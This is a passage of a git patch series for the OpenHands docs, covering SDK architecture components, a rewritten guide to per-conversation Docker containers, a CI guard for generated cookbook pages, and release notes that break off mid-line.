-- API integration tools -- Custom file format parsers -- Domain-specific calculators - -**Learn more**: -- Guide: [Custom Tools](/sdk/guides/custom-tools) -- Source: [`tools/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-tools/openhands/tools) - ---- - -### 5. Workspace - Execution Abstraction - -**What it does**: Abstracts *where* code executes (local, Docker, remote). - -**Key responsibilities**: -- Provides unified interface for code execution -- Handles file operations across environments -- Manages working directories -- Supports different isolation levels - -**Design decisions**: -- **Abstract interface**: LocalWorkspace in SDK, advanced types in workspace package -- **Environment-agnostic**: Code works the same locally or remotely -- **Lazy initialization**: Workspace setup happens on first use - -**Why abstract?** You can develop locally with LocalWorkspace, then deploy with DockerWorkspace or RemoteAPIWorkspace without changing agent code. - -**When to use directly**: Rarely - usually configured when creating an agent. Use advanced workspaces for production. - -**Learn more**: -- Architecture: [Workspace Architecture](/sdk/arch/workspace) -- Guides: [Remote Agent Server](/sdk/guides/agent-server/overview) -- Source: [`workspace/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-sdk/openhands/sdk/workspace) - ---- - -### 6. Events - Component Communication - -**What it does**: Enables observability and debugging through event emissions. - -**Key responsibilities**: -- Defines event types (messages, actions, observations, errors) -- Emitted by Conversation, Agent, Tools -- Enables logging, debugging, and monitoring -- Supports custom event handlers - -**Design decisions**: -- **Immutable**: Events are snapshots, not mutable objects -- **Serializable**: Can be logged, stored, replayed -- **Type-safe**: Pydantic models for all events - -**Why events?** They provide a timeline of what happened during agent execution. Essential for: -- Debugging agent behavior -- Understanding decision-making -- Building observability dashboards -- Implementing custom logging - -**When to use**: When building monitoring systems, debugging tools, or need to track agent behavior. - -**Learn more**: -- Guide: [Metrics and Observability](/sdk/guides/metrics) -- Source: [`event/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-sdk/openhands/sdk/event) - ---- - -### 7. Condenser - Memory Management - -**What it does**: Compresses conversation history when it gets too long. - -**Key responsibilities**: -- Monitors conversation length -- Summarizes older messages -- Preserves important context -- Keeps conversation within token limits - -**Design decisions**: -- **Pluggable**: Different condensing strategies -- **Automatic**: Triggered when context gets large -- **Preserves semantics**: Important information retained - -**Why needed?** LLMs have token limits. Long conversations would eventually exceed context windows. Condensers keep conversations running indefinitely while staying within limits. - -**When to customize**: When you need domain-specific summarization strategies or want to control what gets preserved. - -**Example strategies**: -- Summarize old messages -- Keep only last N turns -- Preserve task-related messages - -**Learn more**: -- Guide: [Context Condenser](/sdk/guides/context-condenser) -- Source: [`condenser/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-sdk/openhands/sdk/context/condenser) - ---- - -### 8. MCP - Model Context Protocol - -**What it does**: Integrates external tool servers via Model Context Protocol. - -**Key responsibilities**: -- Connects to MCP-compatible tool servers -- Translates MCP tools to SDK tool format -- Manages server lifecycle -- Handles server communication - -**Design decisions**: -- **Standard protocol**: Uses MCP specification -- **Transparent integration**: MCP tools look like regular tools to agents -- **Process management**: Handles server startup/shutdown - -**Why MCP?** It lets you use external tools without writing custom SDK integrations. Many tools (databases, APIs, services) provide MCP servers. - -**When to use**: When you need tools that: -- Already have MCP servers (fetch, filesystem, etc.) -- Are too complex to rewrite as SDK tools -- Need to run in separate processes -- Are provided by third parties - -**Learn more**: -- Guide: [MCP Integration](/sdk/guides/mcp) -- Spec: [Model Context Protocol](https://modelcontextprotocol.io/) -- Source: [`mcp/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-sdk/openhands/sdk/mcp) - ---- - -### 9. Skills (formerly Microagents) - Behavior Modules - -**What it does**: Specialized modules that modify agent behavior for specific tasks. - -**Key responsibilities**: -- Provide domain-specific instructions -- Modify system prompts -- Guide agent decision-making -- Compose to create specialized agents - -**Design decisions**: -- **Composable**: Multiple skills can work together -- **Declarative**: Defined as configuration, not code -- **Reusable**: Share skills across agents - -**Why skills?** Instead of hard-coding behaviors, skills let you compose agent personalities and capabilities. Like "plugins" for agent behavior. - -**Example skills**: -- GitHub operations (issue creation, PRs) -- Code review guidelines -- Documentation style enforcement -- Project-specific conventions - -**When to use**: When you need agents with specialized knowledge or behavior patterns that apply to specific domains or tasks. - -**Learn more**: -- Guide: [Agent Skills & Context](/sdk/guides/skill) -- Source: [`skills/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-sdk/openhands/sdk/context/skills) - ---- - -### 10. Security - Validation & Sandboxing - -**What it does**: Validates inputs and enforces security constraints. - -**Key responsibilities**: -- Input validation -- Command sanitization -- Path traversal prevention -- Resource limits - -**Design decisions**: -- **Defense in depth**: Multiple validation layers -- **Fail-safe**: Rejects suspicious inputs by default -- **Configurable**: Adjust security levels as needed - -**Why needed?** Agents execute arbitrary code and file operations. Security prevents: -- Malicious prompts escaping sandboxes -- Path traversal attacks -- Resource exhaustion -- Unintended system access - -**When to customize**: When you need domain-specific validation rules or want to adjust security policies. - -**Learn more**: -- Guide: [Security and Secrets](/sdk/guides/security) -- Source: [`security/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-sdk/openhands/sdk/security) - ---- - -## How Components Work Together - -### Example: User asks agent to create a file - -``` -1. User → Conversation: "Create a file called hello.txt with 'Hello World'" - -2. Conversation → Agent: New message event - -3. Agent → LLM: Full conversation history + available tools - -4. LLM → Agent: Tool call for FileEditorTool.create() - -5. Agent → Tool System: Validate FileEditorAction - -6. Tool System → Tool Executor: Execute action - -7. Tool Executor → Workspace: Create file (local/docker/remote) - -8. Workspace → Tool Executor: Success - -9. Tool Executor → Tool System: FileEditorObservation (success=true) - -10. Tool System → Agent: Observation - -11. Agent → LLM: Updated history with observation - -12. LLM → Agent: "File created successfully" - -13. Agent → Conversation: Done, final response - -14. Conversation → User: "File created successfully" -``` - -Throughout this flow: -- **Events** are emitted for observability -- **Condenser** may trigger if history gets long -- **Skills** influence LLM's decision-making -- **Security** validates file paths and operations -- **MCP** could provide additional tools if configured - -## Design Patterns - -### Immutability - -All core objects are immutable. Operations return new instances: - -```python -conversation = Conversation(...) -new_conversation = conversation.add_message(message) -# conversation is unchanged, new_conversation has the message -``` - -**Why?** Makes debugging easier, enables time-travel, ensures serializability. - -### Composition Over Inheritance - -Agents are composed from: -- LLM provider -- Tool list -- Skill list -- Condenser strategy -- Security policy - -You don't subclass Agent - you configure it. - -**Why?** More flexible, easier to test, enables runtime configuration. - -### Type Safety - -Everything uses Pydantic models: -- Messages, actions, observations are typed -- Validation happens automatically -- Schemas generate from types - -**Why?** Catches errors early, provides IDE support, self-documenting. - -## Next Steps - -### For Usage Examples - -- [Getting Started](/sdk/getting-started) - Build your first agent -- [Custom Tools](/sdk/guides/custom-tools) - Extend capabilities -- [LLM Configuration](/sdk/guides/llm-registry) - Configure providers -- [Conversation Management](/sdk/guides/convo-persistence) - State handling - -### For Related Architecture - -- [Tool System](/sdk/arch/tool-system) - Built-in tool implementations -- [Workspace Architecture](/sdk/arch/workspace) - Execution environments -- [Agent Server Architecture](/sdk/arch/agent-server) - Remote execution - -### For Implementation Details - -- [`openhands-sdk/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-sdk) - SDK source code -- [`openhands-tools/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-tools) - Tools source code -- [`openhands-workspace/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-workspace) - Workspace source code -- [`examples/`](https://github.com/OpenHands/software-agent-sdk/tree/main/examples) - Working examples diff --git a/sdk/getting-started.mdx b/sdk/getting-started.mdx index b1a160521..d035284dd 100644 --- a/sdk/getting-started.mdx +++ b/sdk/getting-started.mdx @@ -203,7 +203,7 @@ ls examples/01_standalone_sdk/ ### Explore Documentation -- **[SDK Architecture](/sdk/arch/sdk)** - Deep dive into components +- **[SDK Architecture](/sdk/arch/overview)** - Deep dive into components - **[Tool System](/sdk/arch/tool-system)** - Available tools - **[Workspace Architecture](/sdk/arch/workspace)** - Execution environments - **[LLM Configuration](/sdk/arch/llm)** - Deep dive into language model configuration From f39a24e7ef6591c2eb9bc64160542f5724b0ed55 Mon Sep 17 00:00:00 2001 From: Devin Date: Sat, 3 Oct 2026 21:51:55 -0400 Subject: [PATCH 44/97] fix: correct env var names in Docker execution docs (#870) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix: correct env var names in Docker execution docs Replace non-existent OH_EXECUTION_* env vars with the correct OH_CONVERSATION_* names that match the actual codebase: - OH_EXECUTION_RUNTIME → OH_CONVERSATION_RUNTIME - OH_EXECUTION_IMAGE → OH_CONVERSATION_IMAGE - Remove OH_EXECUTION_PLATFORM (not configurable) - Remove OH_EXECUTION_VOLUMES (not configurable via env var) - Add real container config vars: MEMORY, CPUS, PIDS_LIMIT, STARTUP_TIMEOUT Fixes #869 Co-authored-by: openhands * docs: rewrite Docker conversation runtime page to match the SDK Verified against software-agent-sdk docker_runtime/registry.py and config.py: - Each container is a full agent-server (OH_CONVERSATION_RUNTIME=local, own secret key, session API key and persistence) proxied by the outer server; drop the DockerExecutionWorkspace / execution-only endpoint / fixed tool list description. - Containers always bind-mount the conversation dir, a persistence dir and the host workspace, so files and history persist; remove the ephemeral and no-mounts claims. - Fill in real defaults (4g, 2.0 CPUs, 512 PIDs, 120s startup) and document OH_CONVERSATION_IDLE_TTL_SECONDS (20 min). - Fix the verification steps (agent-server-conversation- names, three mounts). - Update title/description and the llms.txt entries. --- .../backend-setup/docker-execution.mdx | 94 +++++++++---------- 1 file changed, 45 insertions(+), 49 deletions(-) diff --git a/openhands/usage/agent-canvas/backend-setup/docker-execution.mdx b/openhands/usage/agent-canvas/backend-setup/docker-execution.mdx index 2de327f79..032b651a5 100644 --- a/openhands/usage/agent-canvas/backend-setup/docker-execution.mdx +++ b/openhands/usage/agent-canvas/backend-setup/docker-execution.mdx @@ -1,11 +1,11 @@ --- -title: Isolate Tool Execution with Docker -description: Keep Agent Canvas orchestration on the host while running filesystem and process tools in an ephemeral Docker container per conversation. +title: Run Each Conversation in Its Own Docker Container +description: Keep Agent Canvas on the host while each conversation runs in its own hardened Agent Server container with bind-mounted workspace and persistence directories. --- -Use Docker execution mode when you want Agent Canvas and Agent Server to remain trusted host processes while isolating filesystem and process tools in a separate container for each conversation. +Use per-conversation Docker mode when you want Agent Canvas and the outer Agent Server to remain trusted host processes while each conversation runs in a separate, hardened Docker container. -This mode differs from [running the entire Agent Canvas distribution in Docker](/openhands/usage/agent-canvas/backend-setup/docker). The outer Agent Server retains conversation state, LLM calls, credentials, policy, persistence, and orchestration. Supported tool actions run inside an ephemeral execution container. +This mode differs from [running the entire Agent Canvas distribution in Docker](/openhands/usage/agent-canvas/backend-setup/docker). Here, only conversations run in containers; Agent Canvas and the outer Agent Server stay on the host. ## Prerequisites @@ -15,23 +15,19 @@ This mode differs from [running the entire Agent Canvas distribution in Docker]( ## Start Agent Canvas -Set the execution runtime and image before starting Agent Canvas: +Set the conversation runtime and image before starting Agent Canvas: ```bash -export OH_EXECUTION_RUNTIME=docker -export OH_EXECUTION_IMAGE=ghcr.io/openhands/agent-server:latest-python -export OH_EXECUTION_PLATFORM=linux/amd64 +export OH_CONVERSATION_RUNTIME=docker +export OH_CONVERSATION_IMAGE=ghcr.io/openhands/agent-server:latest-python agent-canvas ``` -Use `linux/arm64` for an ARM host such as Apple Silicon. - You can combine these variables with other launcher options. For example, to use another port: ```bash -OH_EXECUTION_RUNTIME=docker \ -OH_EXECUTION_IMAGE=ghcr.io/openhands/agent-server:latest-python \ -OH_EXECUTION_PLATFORM=linux/amd64 \ +OH_CONVERSATION_RUNTIME=docker \ +OH_CONVERSATION_IMAGE=ghcr.io/openhands/agent-server:latest-python \ agent-canvas --port 9000 ``` @@ -39,73 +35,73 @@ The launcher forwards the variables to the local Agent Server. No separate front ## How Isolation Works -For each local conversation, Agent Server creates a `DockerExecutionWorkspace` with `/workspace` as its working directory. The container starts lazily when the conversation first invokes a supported tool. - -The following built-in tools execute in the container: +For each conversation, the outer Agent Server starts a dedicated Docker container running a full Agent Server. The container starts lazily when the conversation first needs it. -- `terminal` -- `file_editor` -- `grep` -- `glob` -- `apply_patch` +- The inner server runs with `OH_CONVERSATION_RUNTIME=local`, so it runs the agent loop and its own tools inside the container. +- Each container has its own generated `OH_SECRET_KEY`, its own session API key, and its own persistence. +- The outer Agent Server proxies and mediates conversation requests to the container, and resolves agent and profile settings before forwarding them. -The outer Agent Server continues to run the agent loop and all LLM requests. It sends supported tool actions to an authenticated execution-only endpoint in the container. The inner server does not expose conversation, profile, settings, LLM, persistence, or WebSocket APIs. +The container is hardened as follows: - - Tools without a Docker execution adapter continue to run in the outer Agent Server process. Review custom and additional tools before treating the container as their security boundary. - +- Runs as the host user's UID and GID rather than root. +- Drops all Linux capabilities (`--cap-drop ALL`) and sets `no-new-privileges`. +- Publishes its API only on `127.0.0.1`, authenticated with the per-conversation session API key. +- Maps `host.docker.internal` to the host gateway. +- Is limited by the memory, CPU, and PID settings in the [configuration reference](#configuration-reference). -## Keep the Sandbox Ephemeral +## Workspace and Persistence -By default, the execution container has no host filesystem mounts. Leave `OH_EXECUTION_VOLUMES` unset to keep the workspace ephemeral and prevent host files from appearing under `/workspace`. +Each container bind-mounts three host directories: -To mount data deliberately, provide a JSON array of Docker volume specifications: +| Container path | Host directory | +|----------------|----------------| +| `/var/openhands/conversations/` | The conversation's directory under the outer server's conversations path | +| `/var/openhands/.openhands` | A per-conversation persistence directory under the outer server's runtime data root | +| `/workspace` | The conversation's host workspace | -```bash -export OH_EXECUTION_VOLUMES='["/path/on/host:/workspace/project"]' -``` +Because these are bind mounts, workspace files and conversation history persist after the container is removed. Conversations that share a host workspace share the same files. - A volume gives tools in the container access to the mounted host path. Do not configure volumes when you require a disposable sandbox with no host filesystem access. + The `/workspace` mount gives tools in the container read and write access to that host directory. Point conversations at a dedicated workspace if you do not want the agent to modify existing project files. -The execution container: - -- Publishes its API only on host loopback. -- Receives a generated per-workspace capability instead of the outer server's credentials. -- Is removed when its workspace closes. -- Does not store the outer conversation state or LLM configuration. - -Conversation history persists in the outer Agent Server according to its normal persistence configuration. Files created only inside an unmounted execution container do not persist after that container is removed. +Containers are stopped when a conversation has been idle for the idle timeout (`OH_CONVERSATION_IDLE_TTL_SECONDS`, 20 minutes by default). The conversation is not lost; its container is started again on next use. Stale containers from a previous Agent Server run are removed when the server starts. ## Verify Isolation Create a new conversation and ask the agent to run: ```bash +id printf 'PWD=%s\nHOME=%s\n' "$PWD" "$HOME" -find "$HOME" -mindepth 1 -maxdepth 1 -printf '%f\n' | sort ``` -A default execution image should report `/workspace` as `PWD` and a container-local home directory such as `/home/openhands`. It must not display the Agent Server host's home-directory contents. +The command should report `/workspace` as `PWD`, and a `HOME` of `/var/openhands/.openhands` rather than your host home directory. -On the host, inspect the active execution container: +On the host, inspect the active conversation container: ```bash -docker ps --filter name=openhands-execution- +docker ps --filter name=agent-server-conversation- docker inspect --format '{{json .Mounts}}' ``` -For an ephemeral configuration, the mounts output should be `[]`. +The mounts output should list three bind mounts, with destinations `/var/openhands/conversations/`, `/var/openhands/.openhands`, and `/workspace`. To check the other settings: + +```bash +docker inspect --format '{{.HostConfig.CapDrop}} {{.HostConfig.SecurityOpt}} {{.HostConfig.PortBindings}}' +``` ## Configuration Reference | Variable | Default | Purpose | |----------|---------|---------| -| `OH_EXECUTION_RUNTIME` | `local` | Set to `docker` to enable one execution container per local conversation. | -| `OH_EXECUTION_IMAGE` | `ghcr.io/openhands/agent-server:latest-python` | Agent Server image used for execution containers. | -| `OH_EXECUTION_PLATFORM` | `linux/amd64` | Docker platform for execution containers. | -| `OH_EXECUTION_VOLUMES` | `[]` | Optional JSON array of Docker volume specifications. | +| `OH_CONVERSATION_RUNTIME` | `local` | Set to `docker` to run each conversation in its own container. | +| `OH_CONVERSATION_IMAGE` | `ghcr.io/openhands/agent-server:latest-python` | Agent Server image used for conversation containers. | +| `OH_CONVERSATION_CONTAINER_MEMORY` | `4g` | Memory limit for each container. | +| `OH_CONVERSATION_CONTAINER_CPUS` | `2.0` | CPU limit for each container. | +| `OH_CONVERSATION_CONTAINER_PIDS_LIMIT` | `512` | PID limit for each container. | +| `OH_CONVERSATION_CONTAINER_STARTUP_TIMEOUT` | `120` | Seconds to wait for a container to become healthy. | +| `OH_CONVERSATION_IDLE_TTL_SECONDS` | `1200` | Seconds a conversation can be idle before its container is stopped. | ## Related Guides From 1e8a204a8560df23240240ec028ae96ac2193c9d Mon Sep 17 00:00:00 2001 From: OpenHands Bot Date: Sun, 4 Oct 2026 14:12:57 -0400 Subject: [PATCH 45/97] docs: serve api-catalog by enabling download-spec (#890) * docs: serve api-catalog by enabling download-spec The docs site advertises ; rel="api-catalog" in its Link header, but that path returns 404 because no OpenAPI download is configured. Adding "download-spec" to contextual.options makes Mintlify publish the RFC 9727 linkset at /.well-known/api-catalog, linking each OpenAPI spec declared in docs.json (including the OpenHands Cloud spec) so agents can discover the API. Co-authored-by: openhands * docs: exclude legacy V0 spec from api-catalog The legacy V0_openapi.json is unreferenced in docs.json but Mintlify auto-uploads every OpenAPI spec in the repo, so enabling download-spec advertised it in the /.well-known/api-catalog linkset alongside the two current specs. Add a .mintignore entry to exclude it from publishing. Co-authored-by: openhands --------- Co-authored-by: openhands Co-authored-by: enyst --- .mintignore | 5 +++++ docs.json | 1 + 2 files changed, 6 insertions(+) create mode 100644 .mintignore diff --git a/.mintignore b/.mintignore new file mode 100644 index 000000000..84558c9bb --- /dev/null +++ b/.mintignore @@ -0,0 +1,5 @@ +# Legacy OpenHands V0 REST API schema. Superseded by the Cloud schema +# (openapi/openhands-cloud.json) and kept only for historical reference. +# Excluded so it is not published, indexed, or advertised in the +# /.well-known/api-catalog linkset. +openapi/V0_openapi.json diff --git a/docs.json b/docs.json index b4554cfe7..fc3098338 100644 --- a/docs.json +++ b/docs.json @@ -702,6 +702,7 @@ "options": [ "copy", "view", + "download-spec", "chatgpt", "claude" ] From 7028a76d9c1c23815092d98b79997f4035933d90 Mon Sep 17 00:00:00 2001 From: "John-Mason P. Shackelford" Date: Mon, 5 Oct 2026 13:36:02 -0400 Subject: [PATCH 46/97] Guard generated Cookbook pages from enterprise-cookbook (#886) Fails PRs that edit cookbook/ outside the enterprise-cookbook sync branches, excludes cookbook/ from sync_code_blocks.py, and documents the flow in AGENTS.md. Co-authored-by: openhands --- .github/scripts/sync_code_blocks.py | 9 ++++++- .github/workflows/cookbook-generated.yml | 30 ++++++++++++++++++++++++ AGENTS.md | 12 ++++++++++ tests/test_sync_code_blocks.py | 20 +++++++++++++++- 4 files changed, 69 insertions(+), 2 deletions(-) create mode 100644 .github/workflows/cookbook-generated.yml diff --git a/.github/scripts/sync_code_blocks.py b/.github/scripts/sync_code_blocks.py index e57f65269..30838648e 100755 --- a/.github/scripts/sync_code_blocks.py +++ b/.github/scripts/sync_code_blocks.py @@ -20,10 +20,17 @@ from pathlib import Path +# Generated from OpenHands/enterprise-cookbook, whose code-block paths are +# relative to each example, not to software-agent-sdk. +EXCLUDED_DIRS = {"cookbook"} + + def find_mdx_files(docs_path: Path) -> list[Path]: """Find all MDX files in the docs directory.""" mdx_files: list[Path] = [] - for root, _, files in os.walk(docs_path): + for root, dirs, files in os.walk(docs_path): + if Path(root) == docs_path: + dirs[:] = [d for d in dirs if d not in EXCLUDED_DIRS] for file in files: if file.endswith(".mdx"): mdx_files.append(Path(root) / file) diff --git a/.github/workflows/cookbook-generated.yml b/.github/workflows/cookbook-generated.yml new file mode 100644 index 000000000..bb4d45f2a --- /dev/null +++ b/.github/workflows/cookbook-generated.yml @@ -0,0 +1,30 @@ +name: Cookbook is generated + +# Everything under cookbook/ is generated from OpenHands/enterprise-cookbook by its +# docs-preview and docs-publish workflows, which push only cookbook-preview/* and +# cookbook-sync branches. Any other change would be overwritten by the next sync. +on: + pull_request: + paths: + - 'cookbook/**' + +permissions: + contents: read + +jobs: + guard: + name: Cookbook pages come from enterprise-cookbook + runs-on: ubuntu-latest + steps: + - name: Allow only the enterprise-cookbook sync branches + env: + HEAD_REF: ${{ github.head_ref }} + HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }} + run: | + if [ "$HEAD_REPO" = "$GITHUB_REPOSITORY" ]; then + case "$HEAD_REF" in + cookbook-sync|cookbook-preview/*) echo "Generated update from OpenHands/enterprise-cookbook."; exit 0 ;; + esac + fi + echo "::error::Pages under cookbook/ are generated from OpenHands/enterprise-cookbook. Change the example's README.md or example.yaml there instead: https://github.com/OpenHands/enterprise-cookbook/tree/main/tools/docs-render" + exit 1 diff --git a/AGENTS.md b/AGENTS.md index 4263f0cf1..df4e00248 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -156,6 +156,18 @@ Workflow: `.github/workflows/sync-agent-sdk-openapi.yml` - Runs the agent-server OpenAPI generator - Updates `openapi/agent-sdk.json` via an automated PR +### 4) Cookbook tab generated from `OpenHands/enterprise-cookbook` + +Every page under `cookbook/` and the `Cookbook` tab in `docs.json` are generated from example READMEs in +`OpenHands/enterprise-cookbook` by its `tools/docs-render` converter. **Do not edit them here**; change the +example's `README.md` or `example.yaml` in that repository. + +- Each enterprise-cookbook PR gets a draft `cookbook-preview/pr-` PR here for its Mintlify preview. These + are never merged and close with the source PR. +- Merged changes arrive in a single `cookbook-sync` PR, opened by `openhands-release-bot` and refreshed nightly. +- `.github/workflows/cookbook-generated.yml` fails PRs from any other branch that touch `cookbook/`, and + `sync_code_blocks.py` skips `cookbook/` because its code-block paths are relative to each example. + ## Docs writing conventions - Most pages are `.mdx` with frontmatter: diff --git a/tests/test_sync_code_blocks.py b/tests/test_sync_code_blocks.py index 057a8c11a..31161672f 100644 --- a/tests/test_sync_code_blocks.py +++ b/tests/test_sync_code_blocks.py @@ -11,7 +11,12 @@ # Add the script directory to path for imports sys.path.insert(0, str(Path(__file__).parent.parent / ".github" / "scripts")) -from sync_code_blocks import escape_embedded_backticks, extract_code_blocks, normalize_content +from sync_code_blocks import ( + escape_embedded_backticks, + extract_code_blocks, + find_mdx_files, + normalize_content, +) class TestEscapeEmbeddedBackticks: @@ -171,3 +176,16 @@ def test_normalizes_line_endings(self): # splitlines() handles all line ending types lines = result.split('\n') assert len(lines) == 3 + + +def test_find_mdx_files_skips_generated_cookbook(tmp_path): + """cookbook/ is generated from enterprise-cookbook and must not be rewritten.""" + (tmp_path / "sdk" / "cookbook").mkdir(parents=True) + (tmp_path / "sdk" / "page.mdx").write_text("x") + (tmp_path / "sdk" / "cookbook" / "nested.mdx").write_text("x") + (tmp_path / "cookbook").mkdir() + (tmp_path / "cookbook" / "example.mdx").write_text("x") + + found = {p.relative_to(tmp_path).as_posix() for p in find_mdx_files(tmp_path)} + + assert found == {"sdk/page.mdx", "sdk/cookbook/nested.mdx"} From 00895f1f28dec130f934fc1597c8621964113fe1 Mon Sep 17 00:00:00 2001 From: dylan Date: Mon, 5 Oct 2026 12:25:41 -0600 Subject: [PATCH 47/97] docs(enterprise): add 0.76.0 release notes (#873) * docs(enterprise): add 0.75.0 release notes Co-Authored-By: Claude Opus 5.5 * docs(enterprise): roll 0.75.0 release notes into 0.76.0 Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- docs.json | 1 + enterprise/release-notes/0.76.0.mdx | 121 ++++++++++++++++++++++++++++ 2 files changed, 122 insertions(+) create mode 100644 enterprise/release-notes/0.76.0.mdx diff --git a/docs.json b/docs.json index fc3098338..4d16a4dd0 100644 --- a/docs.json +++ b/docs.json @@ -574,6 +574,7 @@ "group": "Release Notes", "icon": "rocket", "pages": [ + "enterprise/release-notes/0.76.0", "enterprise/release-notes/0.74.0", "enterprise/release-notes/0.71.1", "enterprise/release-notes/0.70.0", diff --git a/enterprise/release-notes/0.76.0.mdx b/enterprise/release-notes/0.76.0.mdx new file mode 100644 index 000000000..86801a8bf --- /dev/null +++ b/enterprise/release-notes/0.76.0.mdx @@ -0,0 +1,121 @@ +--- +title: OpenHands Enterprise 0.76.0 +description: Release notes for OpenHands Enterprise version 0.76.0 +--- + +# OpenHands Enterprise 0.76.0 + +Released October 2, 2026. + +## Highlights + +- **More Reliable Conversations** — Hung LLM streams now time out instead of stalling, conversations keep running when an MCP server fails to start, and context condensation no longer drops the system prompt. +- **Budget Visibility** — The Your Budget chart shows each day's spend and per-model details on hover, and budget-limit errors appear immediately instead of after retries. +- **Conversation Soft Delete** — Deleting a conversation now marks it as deleted and keeps the record in the database instead of removing it permanently. +- **Slack Connection Status** — The integrations page now shows whether Slack is connected. + +## Features + +#### Enterprise Server + +* feat(task-queue): PLTF-3689 add Procrastinate and its database schema by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/587 + +#### Software Agent SDK + +* feat(client): own browser conversation event stream transport by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5013 +* feat(apps): manage optional backend processes by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5270 +* feat(agent-server): register refresh-on-401 hook on managed-proxy LLMs by @aivong-openhands in https://github.com/OpenHands/software-agent-sdk/pull/5222 +* feat(apps): bridge authenticated app backends by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5272 +* Add Agent Server git repository search API by @malhotra5 in https://github.com/OpenHands/software-agent-sdk/pull/5393 + +#### OpenHands Cloud (Helm Chart) + +* feat(automation): provision the KV store secret for Replicated installs by @hieptl in https://github.com/OpenHands/OpenHands-Cloud/pull/1326 + +## Bug Fixes + +#### Enterprise Server + +* fix(conversations): soft-delete conversations instead of hard-deleting by @neubig in https://github.com/OpenHands/enterprise/pull/173 +* fix(migrations): break Alembic duplicate-revision 172 head (renumber soft-delete to 173) by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/581 +* fix(app_server): roll back session after a failed stats write by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/580 +* fix(skills): warn when a marketplace skill name conflicts with a built-in skill (OHE-3161) by @hieptl in https://github.com/OpenHands/enterprise/pull/593 +* fix(budgets): show model details on hover in Your Budget (OHE-3404) by @hieptl in https://github.com/OpenHands/enterprise/pull/595 +* fix(slack): show Slack connection status on the integrations page (OHE-3038) by @hieptl in https://github.com/OpenHands/enterprise/pull/584 +* fix(budgets): show each day's spend on hover in the Your Budget chart (OHE-3403) by @hieptl in https://github.com/OpenHands/enterprise/pull/594 +* fix(secrets): OHE-3429 keep org-shared secrets with a null description when loading secrets by @hieptl in https://github.com/OpenHands/enterprise/pull/597 +* fix: support website PostHog handoff in Canvas deployment by @malhotra5 in https://github.com/OpenHands/enterprise/pull/269 +* fix(conversations): OHE-3432 return an Agent Canvas link in the API by @lilagrc in https://github.com/OpenHands/enterprise/pull/606 +* fix(settings): hide the Agent Profiles link from the settings navigation (OHE-3439) by @hieptl in https://github.com/OpenHands/enterprise/pull/629 +* fix(sandbox): remote refresh header must reference `${SESSION_API_KEY}` (enterprise#632) by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/633 + +#### Software Agent SDK + +* fix(llm): gate prompt_cache_key on provider support by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5328 +* fix(condenser): never forget the leading SystemPromptEvent (#5148) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5241 +* fix(grayswan): guarantee system message first when history window drops system prompt (#5147) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5240 +* fix(condenser): split summarization prompt into system + user messages by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5143 +* fix(agent-server): prepend system message to profile pre-flight ping (#5146) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5239 +* fix(sdk): exclude boolean false from anyOf non-null type selection by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/4322 +* fix(condenser): preserve leading system prompt on hard context reset (#5149) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5242 +* fix(goal): split judge prompt into system + user messages (#5145) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5238 +* fix(sdk): tolerate null cache_creation_tokens in usage telemetry (minimax-m3 crash) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5327 +* fix(sdk): resolve async response secrets outside the event loop by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4967 +* fix(sdk): keep conversations alive when MCP startup fails by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/5345 +* fix: surface LiteLLM budget denials without retry backoff by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/5309 +* fix(sdk): restore tool registrations on remote attach by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5069 +* fix(llm): time out hung async streams by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5000 +* fix(agent-server): reject excess conversation creation and runs with HTTP 429 by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5350 +* fix(agent-server): refresh catalog after evicting idle Docker runtimes by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/5369 +* fix(agent-server): use the session key as VSCode token on /api/init by @jlav in https://github.com/OpenHands/software-agent-sdk/pull/5282 + +#### OpenHands Cloud (Helm Chart) + +* fix(replicated): mirror LLM key-refresh env into the warm pool by @openhands-agent in https://github.com/OpenHands/OpenHands-Cloud/pull/1332 +* fix(replicated): warm-pool refresh header must reference `${SESSION_API_KEY}` by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1341 + +## Maintenance + +#### Enterprise Server + +* refactor(sandbox): stop relying on e2b auto-resume by @jlav in https://github.com/OpenHands/enterprise/pull/564 +* test(budgets): OHE-3427 click "Update default" in the default budget toast test by @hieptl in https://github.com/OpenHands/enterprise/pull/596 +* ci: open SDK bump PRs from software-agent-sdk release dispatches by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/619 +* chore(quint): instrument the org-budgets alert path for the oracle by @aivong-openhands in 